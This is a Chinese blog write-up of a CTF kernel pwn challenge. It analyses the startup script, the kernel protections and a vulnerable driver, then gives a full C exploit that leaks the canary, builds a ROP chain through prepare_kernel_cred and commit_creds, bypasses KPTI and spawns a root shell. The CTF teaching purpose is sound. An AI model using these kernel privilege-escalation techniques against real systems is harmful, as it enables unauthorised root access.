[第六章 CTF之PWN章]n1ker

该博客详细介绍了Linux内核利用过程,包括分析启动脚本、理解内核保护机制如KASLR和SMAP,以及如何通过格式化字符串泄露和栈溢出来构建ROP链。作者展示了如何读取内核符号表,并利用设备节点进行内核提权,最终目标是获取root shell。
摘要由CSDN通过智能技术生成

kernal pwn

首先还是看一下start.sh

#! /bin/sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr useradd homura" \
-gdb tcp::1234 -S \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-cpu kvm64,+smep

看到不是单核单线程,那么我们就要小心条件竞争。

看得到开了kaslr,smep。

我们说内核部分的保护分成四个方面。
内核保护从四个方面出发,分别是隔离、访问控制、异常检测、随机化
隔离分为smep用户代码不可执行、smap用户数据不可访问、KPTI。
随机化也分为kaslr、fgkaslr。

然后我们我解压文件系统,看一下init文件。

mkdir core
cp rootfs.cpio ./core
cd core
mv ./rootfs.cpio rootfs.cpio.gz     
 #因为cpio是经过gzip压缩过的,必须更改名字,gunzip才认识
gunzip ./rootfs.cpio.gz 
#gunzip解压一会cpio才可以认识,不然就会报畸形数字
cpio -idmv < ./rootfs.cpio 
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract  执行copy-in模式,还原备份档。
#-d或--make-directories  如有需要cpio会自行建立目录。
#-v或--verbose  详细显示指令的执行过程。
#-m或preserve-modification-time  不去更换文件的更改时间

在这里插入图片描述
开了KPTI

#!/bin/sh
mkdir /tmp
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod n1drv.ko
mknod /dev/homuratql666 c 233 0
chmod 666 /dev/homuratql666
mdev -s
chmod -R 777 /sys
poweroff -d 1200000 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

#setsid /bin/cttyhack setuidgid 0 /bin/sh

那么显然挂载了那个模块。
然后也把符号表读到了/tmp/kallsyms 就不用泄露地址啥的 直接都有
挂载了devpts,可以考虑劫持tty结构体

然后IDA。

在这里插入图片描述ioctl函数。

deadbeef似乎是有一个格式化字符串。

在这里插入图片描述
n1drv有个函数
copy_user_generic_unrolled

/*
 * Copy To/From Userspace
 */

/* Handles exceptions in both to and from, but doesn't do access_ok */
__must_check unsigned long
copy_user_enhanced_fast_string(void *to, const void *from, unsigned len);
__must_check unsigned long
copy_user_generic_string(void *to, const void *from, unsigned len);
__must_check unsigned long
copy_user_generic_unrolled(void *to, const void *from, unsigned len);

也是一个复制拷贝函数。ida里面没有显示参数,直接看汇编吧。
在这里插入图片描述
讲道理应该是三个参数。
第一个call rdi是栈顶。rsi是传入的user的地址。rdx理所应当就是复制的大小。那这里显然就有栈溢出。
两个call一个在栈里 一个在堆里 都复制成功才不报错
所以一会malloc得稍微大点。

所以我们的思路就还是比较明确的
格式化字符串泄露canary,基地址甚至不需要泄露 它直接放在了/tmp/kallsyms文件夹里,当然泄露泄露也行。
然后直接一个栈溢出。

开了kpti,还需要绕一下。

分步骤浅谈一下

    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);   //缓冲区关掉,否则会没有输出。
    int fd = open("/dev/homuratql666",O_RDWR);
    if (fd < 0) {
        printf("wrong with open /dev/homuratql666");
    }

    size_t kernal_base ; 
    size_t canary; 
    size_t rop[0x50];
    
    char format[0x100]="0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx\n\x00";
    add(fd, 0x400);
    write(fd, format, 50);
    put(fd);

    getchar();
    write(1,"input vmlinux addr\n",43);
    scanf("%llx",&kernal_base);
    write(1,"input vmlinux canary\n",45);
    scanf("%llx",&canary);

当然要首先拿到基地址
基地址可以在init里面改了权限

但是这个题直接可以/tmp/kallsyms也可以
在这里插入图片描述

输出的canary等等啥的scanf输入就行。

然后就是构造rop链

exp

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>

void get_shell(void){   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    
    system("/bin/sh");
}

void add(int fd,int size)
{
    ioctl(fd,0x73311337,size);
}

void put(int fd)
{
    ioctl(fd,0xDEADBEEF);
}

unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}


int main()
{   
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    int fd = open("/dev/homuratql666",O_RDWR);
    if (fd < 0) {
        printf("wrong with open /dev/homuratql666");
    }

    size_t kernal_base ; 
    size_t canary; 
    size_t rop[100];
    
    char format[0x100]="0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx\n\x00";
    add(fd, 0x400);
    write(fd, format, 50);
    put(fd);

    printf("input vmlinux addr\n");
    scanf("%llx",&kernal_base);
    printf("input canary\n");
    scanf("%llx",&canary);
    kernal_base = kernal_base - 0x1c827f;
    size_t prepare_kernel_cred = kernal_base + 0x81790;
    size_t commit_creds = kernal_base + 0x81410;
    size_t pop_rdi = kernal_base + 0x1388;//pop rdi; ret;
    size_t push_rax = kernal_base + 0x2599a8;//push rax; pop r12; pop r13; pop r14; pop r15; ret;
    size_t pop_rbx = kernal_base +0x926;//pop rbx; ret; 
    size_t call_rbx = kernal_base + 0xa001ea;//mov rdi, r12; call rbx; 
    size_t pop_rdx = kernal_base + 0x44f17;//pop rdx; ret;
    size_t swapgs_restore_regs_and_return_to_usermode = kernal_base + 0xa00985 ;
    printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred);
    printf("commit_creds:0x%llx  \n",commit_creds);
    save_stats();

    int i = 0;
    for(i = 0; i <= 60; i ++) {
        rop[i] = "aaaaaaaa";
    }
    i = 32;
    rop[i++] = canary;                 // canary
    rop[i++] = canary;                 // rbp
    rop[i++] = pop_rdi;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = push_rax;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = pop_rbx;
    rop[i++] = pop_rdx;
    rop[i++] = call_rbx;
    rop[i++] = commit_creds;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t) get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd,rop,0x1b0);  //copy can't more than rop
}

远程给的时间太短 怪不得零解
在这里插入图片描述
本地没问题。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值